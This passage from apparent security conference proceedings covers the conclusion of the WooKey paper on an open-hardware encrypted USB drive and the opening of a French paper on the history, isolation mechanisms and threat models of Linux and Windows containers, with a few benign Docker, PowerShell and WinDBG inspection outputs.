improvements of the publicly available MCU lines have still to prove
their robustness against physical and logical threats.

— Trojan hardware. This kind of attack is devastating and we cannot
do much against it. If an attacker has been able to somehow recover



R. Benadjila, M. Renard, P. Trebuchet, P. Thierry,... 177

(e.g. via physical attacks) WooKey sensitive private keys from the
SoC’s flash, and build a full platform resembling the genuine one, this
is the perfect crime. A much weaker variant of such hardware mimic
attacks is when the adversary does not know the platform private keys,
this falls in the previously described unintelligent scenarios.

On a side note, the main advantage for an adversary when implanting
a trojan firmware or hardware is to steal the legitimate user PIN, and
ultimately to steal the master decryption key from the token (using the
PIN) in order to be able, in the future, to decrypt user data without the
token.

We emphasize the fact that achieving a protection level preventing
these two latter powerful — and rather costly — kinds of adversaries is very
complex (if not impossible) using off-the-shelf affordable components.

Regarding cryptography, as it has been thoroughly detailed in sec-
tion 3.2, we only protect user data confidentiality: the integrity of the
SD card is out of scope and the user must be informed of this and use
complementary solutions (such as integrity at the file system level).

5 Conclusion

WooKey aims at being an open source, open hardware, secure and afford-
able USB encrypting mass storage device using off-the-shelf components.

Protection against the BadUSB class of attacks is achieved using strong
cryptography with two-factor authentication of the legitimate user (PIN
and smartcard using a secure element), as well as a robust DFU dedicated
to firmware integrity and authenticity insurance. Software classes of attacks
(e.g. buffer overflows) are mitigated using EwoK, a novel microkernel
designed with security in mind, enforcing memory isolation using the
MPU and providing more confidence by using the Ada safe language along
with SPARK for formal verification of critical parts. Beyond the mere USB
key itself, we also provide MosEslie: an easy-to-use SDK that simplifies
the integration of user applications on the platform as well as the possible
mixed usage of safe languages (Ada and Rust).

Thanks to these characteristics, the overall security of WooKey is
strong against software attack vectors, and some pre-authentication hard-
ware attacks (side-channel observation and fault injections). The residual
adversaries that endanger the platform integrity involve aggressive and
costly attacks on the STM32 MCU (decapping and light-based fault injec-
tion) to recover the private keys in flash. On a similar note, WooKey only
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protects user data confidentiality: user data integrity is not covered (which
is the case for most of USB thumb drives with transparent encryption).

Though such residual threats directly inherit from the constraint of
using available and affordable off-the-shelf components for WooKey, we
feel that there is still room for improvement. Newer ARMv8-M architec-
tures offer interesting features such as TrustZone and a more advanced
MPU (for better isolation of EwoK applications), some recent MCUs
also integrate tamper detection and transparent flash encryption using
dedicated hardware, etc. Many of the key concepts already developed
during the project are easily portable on these platforms, and improving
the defense-in-depth layers is future work.

— “It’s not wise to upset a WooKey.”

— “I suggest a new strategy, Artoo: let the WooKey win.”
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1 Introduction

D’apres le Trésor de la Langue Francaise informatisé! :

CONTAINER substantif masculin.
TRANSPORT, emploi courant. Caisse de forte capacité et de dimensions normali-
sées, destinée a faciliter les opérations de manutention, notamment en évitant les
ruptures de charge d’un mode de transport a un autre.
Rem. 1. La forme conteneur a été proposée pour remplacer cet anglicisme.

L’isolation des environnements d’exécution de processus, pour des
raisons de portabilité ou de sécurité, est une problématique courante, en
particulier depuis ’avenement des hébergements externalisés d’applications
dans ce qu’on appelle aujourd’hui communément le cloud.

Afin de répondre a cette problématique, les systemes d’exploitation
et certains éditeurs proposent des solutions de virtualisation dont les
propriétés doivent aujourd’hui inclure, au-dela de la sécurité, la facilité
de déploiement et le passage a ’échelle. Parmi ces solutions on retrouve,
outre les hyperviseurs classiques tels Microsoft Hyper-V ou KVM, des
technologies dites de « virtualisation légere », basées sur des mécanismes
d’isolation de processus propres a chaque systeme d’exploitation.

De nombreux produits du marché, commerciaux ou non, exploitent
ces capacités et sont aujourd’hui tres largement utilisés. Des logiciels
comme Docker, LXC ou encore Kubernetes font le quotidien de nombreux
professionnels de I'informatique.

La sécurité de ces systemes est fortement intriquée avec celle du systeme
d’exploitation les hébergeant. Cependant, bien que cette sécurité ait fait
I'objet de nombreuses publications [1, 6], les méthodologies permettant de
I’évaluer n’ont été que tres superficiellement étudiées. Il convient d’abord

U http://www.atilf . fr/tlfi
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de faire un rappel des technologies mises en ceuvre, a la fois sous Linux
mais également sous Windows, puis de passer en revue divers points liés a
la sécurité de leur configuration ou de leur déploiement.

2 Définitions

Afin de disposer d’un vocabulaire commun, voici quelques définitions de
concepts tels qu’ils seront utilisés dans le présent article.

Conteneur : processus ou groupe de processus (généralement un parent
et ses enfants), exécutés dans un contexte restreint en matiere de
visibilité et d’acces aux ressources du systeme d’exploitation. Plusieurs
conteneurs peuvent étre exécutés par un méme noyau.

Systéme hote : systeme d’exploitation exécutant des conteneurs, n’étant
pas lui-méme exécuté dans un conteneur. Il peut cependant étre exécuté
dans une machine virtuelle.

Hyperviseur : systéme d’exploitation exécutant des machines virtuelles.
Ceci inclut VMware ESXi, Microsoft Hyper-V, Xen ou encore KVM.

Gestionnaire de conteneurs : logiciel instanciant des conteneurs et
mettant en ceuvre des mécanismes d’isolation et de sécurité au niveau
du systeme hote. Docker ou LXD en sont des exemples.

Orchestrateur : logiciel de déploiement et de gestion du cycle de vie
des conteneurs au travers des gestionnaires de conteneurs. On retrouve
Docker Swarm ou encore Kubernetes dans cette catégorie.

Image : systéme de fichiers statique, créé souvent automatiquement,
représentant un conteneur avant instanciation. Une image peut étre
constituée de couches successives en lecture seule ou n’étre qu’'une
archive contenant des fichiers.

Registre : dépot d’images, souvent accessible au moyen du protocole
HTTP, utilisé par le gestionnaire de conteneurs comme source pour
instancier des conteneurs.

3 Historique

L’idée de vouloir isoler des processus dans des environnements d’exécution
restreints n’est pas neuve. L’appel systeme chroot () a été introduit en
1979 dans UNIX pour répondre a cette problématique, en hébergeant
plusieurs versions d’un méme programme, chacune disposant d’'une vue
propre de la racine du systeme de fichiers. Les objectifs étaient de faciliter
le développement au travers d’une meilleure gestion des dépendances et
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d’améliorer la compatibilité avec des versions antérieures de bibliotheques.
Ce concept est aujourd’hui encore 'une des bases des systémes modernes
de conteneurs.

En 2000, FreeBSD 4.0 integre jail qui va au-dela de la simple restric-
tion au systeme de fichiers. Ainsi jail exécute un processus avec :

— son nom de machine ;

— sa propre adresse IP et sa table de routage;

— une sous-arborescence dédiée du systéme de fichiers, comme chroot () ;
— sa base d’utilisateurs et notamment un superutilisateur dédié.

En 2005, Sun Microsystems introduit les Solaris Containers avec
Solaris 10 et en particulier son mécanisme d’isolation Solaris Zones. On y
retrouve des fonctionnalités d’isolation comparables a celles de jail, mais
les Solaris Zones permettent également de restreindre les ressources du
systéeme (mémoire, temps processeur, etc.) auxquelles ont acces chaque
processus ou groupe de processus.

Enfin en 2008, faisant suite aux idées introduites par Linux VServer
(2001) et OpenVZ (2005), le noyau Linux 2.6.24 integre la fonctionnalité
cgroups, ouvrant la voie a ce qui est aujourd’hui appelé Linuxz Containers
(LXC). Les cgroups, en collaboration avec les namespaces, apparus a la
méme époque, sont aujourd’hui les briques de base de la plupart des
systemes de conteneurs couramment rencontrés sous Linux.

De leur coté, Apple et Microsoft ne sont pas en reste. En effet, Apple
fournit depuis MacOS X 10.7 (2011) un mécanisme appelé app sandboxing?
et Microsoft a entrepris de nombreux efforts de durcissement depuis la
sortie de Windows Vista (2007) pour restreindre les capacités d’exécution
des codes malveillants. Avec Windows Server 2016, Microsoft propose les
Windows Server Containers®, développés en collaboration avec Docker Inc.
et décrits dans la suite de cet article.

4 Modélisation des menaces

Afin de définir quelles menaces peuvent peser sur des conteneurs,
intéressons-nous d’abord a leurs cas d’usage les plus fréquents.

4.1 Cas d’usage fréquents

Trois cas d’'usage sont fréquemment rencontrés dans I’emploi des technolo-
gies de conteneurs :

2 https://developer.apple.com/app-sandboxing/
3 https://docs.microsoft.com/en-us/virtualization/windowscontainers/
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1. Packaging d’applications : permet de s’affranchir de I’installation de
dépendances particulieres sur le systéme hote. Le programme (et
potentiellemement son environnement) ainsi packagé ne ’est pas pour
des raisons de sécurité, mais pour des raisons de facilité de déploiement,
en abstrayant le systéme sous-jacent. Ces applications sont souvent
exécutées avec les mémes droits que si elles 'avaient été sur 1’hote.

2. Environnement de développement/compilation : simplifie la gestion
des dépendances et la reproductibilité des compilations. Le code qui
est exécuté est souvent maitrisé et le but ici n’est pas de se protéger
contre la malveillance.

3. Mécanisme d’isolation de services : restreint le contexte d’exécution
de services, souvent accessibles par le réseau et soumis a des entrées
d’utilisateurs non maitrisées. C’est le cas typique des bacs a sable ou
de I'hébergement mutualisé.

De ces cas d’'usage, il est possible de déduire plusieurs modeles de me-
naces en fonction de ce qu'un utilisateur malveillant souhaiterait réaliser.

4.2 Modéles de menaces

Dans les deux premiers cas d’usage évoqués ci-dessus, la menace principale
est probablement la perte d’intégrité des applications ou des conteneurs
au travers par exemple de la falsification d’une image. Celle-ci pourrait
intervenir entre les étapes de développement ou de packaging réalisées par
le développeur, ou au moment de la distribution des images. Une image
modifiée pourrait contenir des composants malveillants, rajoutés dans le
but de piéger 'application, par le biais d’une porte dérobée par exemple.

Dans le troisiéme cas, on considere un attaquant extérieur, n’ayant pu
interagir avec I'image du conteneur entre le moment de sa création et son
déploiement effectif. La menace principale est alors la perte d’isolation,
soit entre le conteneur et ’h6te soit entre deux conteneurs.

Enfin, il convient de considérer une derniere menace, commune a tous
les cas d’usage : la prise de controle de 1’écosysteme, par compromission du
systeme hote ou de I'un des composants de I’environnement (orchestrateur
ou gestionnaire de conteneurs). Un attaquant pourrait alors altérer la
disponibilité, I'intégrité ou la confidentialité des conteneurs, mais également
des données qui y sont traitées.

5 Conteneurs sous Linux

Les conteneurs sous Linux emploient des mécanismes d’isolation des pro-
cessus implémentés par le noyau du systeme hote. Ceux-ci ont pour objectif
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soit de controler les ressources que les processus peuvent utiliser (cgroups),
soit de restreindre la vue qu’ils ont du reste du systéme (namespaces).

S’ajoutent a cela des mesures de sécurité telles que seccomp, les capabi-
lities ou 'application d’une politique de sécurité au travers de systemes de
type Mandatory Access Control (MAC) comme AppArmor ou SELinuz.
L’objectif de ces mesures est de limiter les conséquences d une exploitation
potentielle de vulnérabilité dans le contexte d’un conteneur, en particulier
vis-a-vis de I’étanchéité des environnements.

Les mécanismes d’isolation ou de sécurité implémentés sous Linux ont
été déja tres largement étudiés dans la littérature. En conséquence, ils ne
seront décrits que sommairement ici.

5.1 Mécanismes d’isolation

Control groups (cgroups) En 2006, deux ingénieurs de Google implé-
mentent un systéme de gestion des ressources par processus ou groupe de
processus, appelé a I’époque process containers. Ce systeme sera renommeé
control groups (ou cgroups) un an apres et intégré au noyau Linux 2.6.24.

Un cgroup est un ensemble de processus qui sont liés entre eux par
un critere arbitraire (par exemple une slice systemd) et auxquels sont
appliqués un jeu de parametres ou de limites concernant les ressources
accessibles du systeme d’exploitation. Ces groupes sont la plupart du
temps hiérarchiques et héritent de leur parent.

La manipulation des cgroups est faite par I'intermédiaire de contréleurs,
au travers d’une interface basée sur le systeme de fichiers virtuel et
généralement disponible sous le point de montage /sys/fs/cgroup/.

Les cgroups permettent de gérer les ressources telles que ’allocation de
parts CPU ou de mémoire, I'acces a certains périphériques ou encore les
ressources réseau. Ces paramétrages peuvent limiter les effets d’un déni
de service, en imposant des quotas d’utilisation.

Namespaces Les namespaces (ou espaces de nommage) sont des mé-
canismes d’isolation des processus restreignant leur vue respective du
systeme hote. Dans le noyau 4.14, il existe sept namespaces différents,
représentés par des drapeaux qu’il est possible de passer a I'appel systeme
clone (). Ils sont décrits dans le tableau 1.

Pour implémenter leur isolation vis-a-vis du systéme hote, les conte-
neurs utilisent fortement les namespaces de type mount, pid, net et user.
Ces derniers ont par ailleurs fait couler beaucoup d’encre quant a leur
plus value suite a la découverte de plusieurs vulnérabilités découlant de la
complexité de leur implémentation [5].
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Nom Périmetre Drapeau de |[Noyau| Capacité
clone() demandée
mount|points de montage|CLONE_NEWNS 2.4.19 |[CAP_SYS_ADMIN
uts |nom de machine |CLONE_NEWUTS 2.6.19 [CAP_SYS_ADMIN
ipc  |SystemV IPC CLONE_NEWIPC 2.6.19 |CAP_SYS_ADMIN
pid |PID CLONE_NEWPID 2.6.24 |CAP_SYS_ADMIN
net |réseau CLONE_NEWNET 2.6.29 |CAP_SYS_ADMIN
user |UID/GID CLONE_NEWUSER 3.8 |aucune
cgroup|cgroups CLONE_NEWCGROUP| 4.6 |aucune

Tableau 1. Liste des namespaces dans le noyau Linux 4.14

5.2 Mécanismes de sécurité

Seccomp Contrairement aux machines virtuelles qui doivent passer par
des hypercalls exposés par leur hyperviseur, les conteneurs ont un acces
direct aux appels systémes exposés par le noyau du systeme hote. Il serait
ainsi possible a un attaquant d’exploiter toute vulnérabilité présente au
travers de I'un de ces syscalls afin d’élever ses privileges, voire de sortir du
conteneur. Seccomp, apparu avec le noyau 2.6.12 en 2005, offre la possibilité
de restreindre les appels systemes que peuvent utiliser les processus et
limite par la méme occasion ’exploitabilité des failles les mettant en jeu.

L’activation de seccomp est réalisée au travers des appels systéme
seccomp (), ou prctl() avec le parametre PR_SET_SECCOMP. Par défaut,
la premiere version de seccomp n’autorisait qu’une liste blanche fixe
contenant les appels systemes exit (), read(), write() et sigreturn().

La seconde version, appelée seccomp-bpf et apparue en 2012 avec
Linux 3.5, autorise la création de filtres Berkeley Packet Filter (BPF)
afin de décrire des politiques de filtrage d’appels systeme plus fines. Des
filtres par défaut sont appliqués par les gestionnaires de conteneurs comme
Docker ou LXD.

Capabilities L’objectif des capabilities (ou « capacités ») est de subdi-
viser les pouvoirs du superutilisateur, notamment pour restreindre les
conséquences de la compromission d'un programme. Un processus hé-
rite généralement des capabilities de son parent. Dans le contexte des
conteneurs, ce parent étant la plupart du temps un processus exécuté
en tant que root, il en résulte que le processus possédant le PID 1 a
I'intérieur du conteneur héritera de ’ensemble des capabilities disponibles.
Cela lui confere ainsi de nombreux droits sur le systéeme, bien qu’il soit
potentiellement exécuté dans le contexte d’un user namespace.

Les gestionnaires de conteneurs emploient généralement une liste
blanche de capabilities pour n’en autoriser que le strict minimum afin que
le processus puisse correctement s’exécuter dans le conteneur.
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Mandatory Access Control (MAC) Dans le cas ou un conteneur
serait compromis et qu’'un attaquant arriverait a briser 1’isolation vis-a-vis
de I’hote, le noyau dispose encore de mécanismes afin de contraindre voire
d’empécher la propagation de 'attaque. Ces systemes de MAC permettent
la création de profils destinés aux gestionnaires de conteneurs sous forme
de liste blanche d’autorisations d’acces a des ressources du systeme, telles
que le systeme de fichiers ou les interfaces réseau.

AppArmor et SELinux sont les plus répandus et des profils de sécu-
rité pour Docker ou LXD sont disponibles dans les dépo6ts de certaines
distributions Linux.

6 Conteneurs sous Windows

Disposant déja d’un hyperviseur intégré a la version serveur de Windows
depuis 2008, Microsoft a réalisé un partenariat avec la société Docker Inc.
en 2014 afin de proposer une interface de gestion de conteneurs qui se
rapproche de ce qui existait déja sous Linux.

A partir de Windows Server 2016 (version 1607), trois types de conte-
neurs peuvent étre instanciés en utilisant Docker sous Windows, sans
exécuter le service Docker dans une machine virtuelle (la solution Docker
Toolboz, maintenant dépréciée) :

— des conteneurs Linux, au travers d’une machine virtuelle Hyper-V
(MobyLinuz VM) ;

— des conteneurs Windows ( Windows Server Containers ou WSC), par
des mécanismes d’isolation bas niveau de Windows et tres proches de
ceux présents sous Linux (namespaces et cgroups) ;

— des conteneurs Windows (Hyper-V Containers), au travers d’une ma-
chine virtuelle minimale Hyper-V (Utility VM) rajoutant une couche
d’isolation aux mécanismes des WSC.

Depuis Windows 10 Anniversary Update (version 1607), il est également
possible d’instancier des conteneurs Windows depuis la versions cliente du
systeme d’exploitation Microsoft. Cependant, les mécanismes bas niveau
requérant un noyau Windows Server, Windows 10 ne supporte que les
conteneurs avec isolation Hyper-V (qui lui permet d’instancier une version
serveur du noyau).

Le démon dockerd et ses clients ont été portés sous Windows sans
changement d’architecture, I'utilisation du langage Go aidant a la compati-
bilité multi plates-formes. Cependant les composants docker-containerd
et runc étant spécifiques a I’environnement Linux, c’est le Host Compute
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Service (HCS) installé par le role Hyper-V qui s’occupe d’instancier les
conteneurs et éventuelles machines virtuelles associées :

PS C:\> Get-Service vmcompute | fl1 -Property DisplayName,Status
DisplayName : Hyper-V Host Compute Service
Status : Running

6.1 Modes d’isolation

La ou tous les conteneurs Linux partagent le méme noyau sur un méme
hote, Windows fournit deux modes d’isolation différents, qui peuvent étre
utilisés simultanément.

Mode process Le mode process, utilisé par les Windows Server Contai-
ners, instancie un conteneur directement sur 1’hote et utilise des fonctions
d’isolation fournies par le noyau de ce dernier, aussi bien pour le controle
des ressources matérielles que pour l'isolation logicielle par des namespaces.
Tous les conteneurs partagent alors le méme noyau, comme sous Linux
(cf. figure 1).

Host user mode

System processes

Session
manager

Container Windows Server Windows Server
Windows management Container Container

subsystem

Local Security
Authority dockerd System processes System processes

Application Application

Host compute processes processes

service

Event logs

Job. Network Fs
compartment l Reqgistry

Job Metwork FS
compartment I Registry

Windows kernel

Fig. 1. Mode d’isolation process (Windows Server 2016 uniquement)

Pour fonctionner, un noyau Windows Server est nécessaire, c’est pour-
quoi ce mode n’est pas disponible sous Windows 10. En revanche, c’est le
mode choisi par défaut sous Windows Server 2016, si I'image exécutée est
compatible*. Pour instancier explicitement un conteneur en mode process,
il faut passer 'option --isolation=process a docker run.

4 https://docs.microsoft.com/en-us/virtualization/windowscontainers/
deploy-containers/version-compatibility
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Le mode d’isolation d'un conteneur peut étre consulté au travers de la
commande suivante :
PS C:\> docker container inspect -f "{{ .HostConfig.Isolation }}" $ID1
process

PS C:\> docker container inspect -f "{{ .HostConfig.Isolation }}" $ID2
hyperv

On notera que le mode d’isolation process n’est pas considéré par
Microsoft comme étant une frontiere de sécurité.

Mode Hyper-V Les conteneurs Hyper-V sont exécutés dans une ma-
chine virtuelle minimaliste, appelée Utility VM, et bénéficient ainsi des
mécanismes d’isolation de I’hyperviseur Hyper-V. En particulier, ils sont
exécutés avec leur propre noyau. Ils peuvent étre explicitement instanciés
sous Windows Server 2016 au travers de 'option --isolation=hyperv
du client docker. Sous Windows 10, les conteneurs sont automatiquement
exécutés avec cette isolation, le mode process n’étant pas disponible
(cf. figure 2).

Virtual machine

Host user mode ("Utility VM")

System processes

Hyper-V Container

Session
manager

Container
Windows management

subsystem

System Windows Server
processes Container

Guest compute

Local Security :
service

- System processes
Authority

Application

Session processes

manager, etc.

Host compute
service

Windows kernel

Hyper-V hypervisor
(on Windows host operating system)

Event logs

Job.N i

l Ragiitry

Windows kernel

Fig. 2. Mode d’isolation hyperv (Windows Server 2016 et Windows 10)

Le systéme de fichiers du conteneur (ou de I’héte) peut étre partagé
grace a VMBus, déja utilisé par les machines virtuelles Hyper-V et les com-
munications réseau passent par le mécanisme d’interface réseau virtuelle
( Virtual NIC') mis en place par Hyper-V.
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6.2 Mécanismes d’isolation

Les mécanismes d’isolation a la base des Windows Server Containers
sont appellés les server silos (abrégés par la suite silos), une extension
de l'objet Job. Ce dernier représente un groupe de processus exécutés
avec des propriétés et contraintes de ressources communes, a l’instar des
cgroups sous Linux. On s’intéresse ici aux extensions spécifiques aux silos
qui restreignent la vue du systeme hote.

Espace de nommage des objets noyau L’espace de nommage des
objets (Object namespace) est la représentation arborescente des nombreux
objets de tous types maintenus par I’Object Manager du noyau. Par
exemple, la lettre de lecteur C: est représentée par 'objet \GLOBAL??7\C:
de type SymbolicLink (pointant vers I'objet \Device\HarddiskVolumeN
ou N est le numéro du volume NTFS).

Dans le contexte d’un silo, cette arborescence est virtualisée et seule
une vue partielle est disponible pour le conteneur. Si I’on reprend ’exemple
des lettres de lecteurs, 'objet \GLOBAL??\C: vu depuis un conteneur aura
pour nom \Silo\JOBID\GLOBAL??\C: vu depuis I'h6te (ou JOBID est
I'identifiant numérique du Job du conteneur).

Le méme principe s’applique aux objets \Registry ou \Device\Tcp
par exemple. Ces objets de 'h6te que le conteneur doit réutiliser (dont
la liste complete peut étre trouvée dans C:\Windows\system32\wsc.def)
sont des liens symboliques pointant vers leur homonyme a [’extérieur
du conteneur. Cette différence sémantique est implémentée sous la forme
d’une option Global non documentée dans la définition du lien symbolique,
indiquant qu’il doit étre résolu dans le contexte de I’h6te et non dans celui
du silo, visible par exemple avec WinDBG :

kd> l!object \Silos\104\ContainerMappedDirectories\
Object: ffffaf099fabc080 Type: (ff£f£c009892269f0) Directory ...
Hash Address Type Name

33 ffffaf09a1f£33d0 SymbolicLink 4594BOA8-A518-. ..

kd> l!object ffffaf09a1ff33d0

Object: ffffaf09a1ff33d0 Type: (£ffffc0098922a3b0) SymbolicLink ...
Flags: 0x000005 ( Global )
Target String is ’\Device\HarddiskVolume4\Users\Test\Desktop’

Le programme WinObj de la suite Sysinternals permet facilement de
naviguer dans 1’Object namespace (cf. figure 3).
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Fig. 3. Virtualisation de I’Object namespace

Processus et threads Contrairement au PID namespace fourni par
Linux, un silo ne posséde pas d’espace d’identifiants de processus (PID)
et threads (TID) qui lui soit propre pour masquer ceux d’autres silos : il
empéche seulement ’'intérieur du silo de les utiliser.

Cette approche nécessite de changer la sémantique de tous les ap-
pels systéme manipulant ces identifiants, pour les rendre conscients de
I’existence (ou non) d’un silo. Les routines bas-niveau du noyau comme
PsLookupProcessById() et PsLookupThreadByThreadId() ont donc du
étre modifiées pour émuler une erreur « not found » lorsque le silo du pro-
cessus demandé est différent du silo en cours. Malheureusement d’autres
fonctions permettant d’obtenir un handle sur un processus ont été oubliées
jusqu’a Windows Server 2016 version 1607 inclus, comme démontré par
Alex Ionescu lors de la conférence SyScan360 2017 [2], avec 'exemple de
NtGetNextProcess().

La limite de cette approche vient aussi des privileges élevés accordés par
défaut aux conteneurs (utilisateur BUILTIN\Administrator avec intégrité
haute et privilege de débogage sur n’importe quel processus), permettant
au conteneur d’injecter de nouveaux threads et de modifier la mémoire de
tout processus des lors qu’il arrive a obtenir un handle vers lui.
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7 Audit de sécurité d’un environnement Docker

Pour mener I'audit d’un systeme, il est d’abord essentiel de définir I’étendue
de sa surface d’attaque. Dans le cadre de notre étude d’un environnement
Docker, nous allons considérer les éléments suivants :

— le systeme hote et les mécanismes bas niveau utilisés par les conteneurs ;
—